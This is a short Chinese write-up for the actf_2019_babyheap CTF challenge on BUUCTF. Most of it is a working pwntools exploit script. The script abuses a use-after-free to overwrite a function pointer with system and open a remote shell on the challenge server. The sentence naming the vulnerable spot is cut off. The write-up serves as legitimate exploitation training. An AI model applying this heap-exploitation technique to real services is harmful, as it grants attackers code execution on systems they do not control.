BUU-actf_2019_babyheap-WP

此题和BUU&XCTF-hitcontraining_uaf-WP很像，都是UAF，漏洞的原因也很像，漏洞点是

#!/usr/bin/env python                                        
# coding=utf-8                                               
from pwn import *                                            
context(log_level = 'debug')                                 
                                                             
#sh = process('./ACTF_2019_babyheap')                        
sh = remote("node3.buuoj.cn","26759")                        
elf = ELF('./ACTF_2019_babyheap')                            
                                                             
def create(size,payload):                                    
    sh.sendlineafter("Your choice: ",'1')                    
    sh.sendlineafter("Please input size: \n",str(size))      
    sh.sendafter("Please input content: \n",payload)         
                                                             
def delete(index):                                           
    sh.sendlineafter("Your choice: ",'2')                    
    sh.sendlineafter("Please input list index: \n",str(index)) 
                                                             
def print_this(index):                                       
    sh.sendlineafter("Your choice: ",'3')                    
    sh.sendlineafter("Please input list index: \n",str(index)) 
                                                             
create(0x200,'index:0')                                      
create(0x200,'index:1')                                      
delete(0)                                                    
delete(1)                                                    
                                                             
create(0x10,p64(0x602010) + p64(elf.symbols["system"]))      
print_this(0)                                                
sh.interactive()                                               

exp很简单，要注意需要申请两个堆块再都free掉，这样fast bin中才会有两个payload大小为0x10的chunk，再申请的时候才能获得对index为0的content的输出函数指针的修改能力。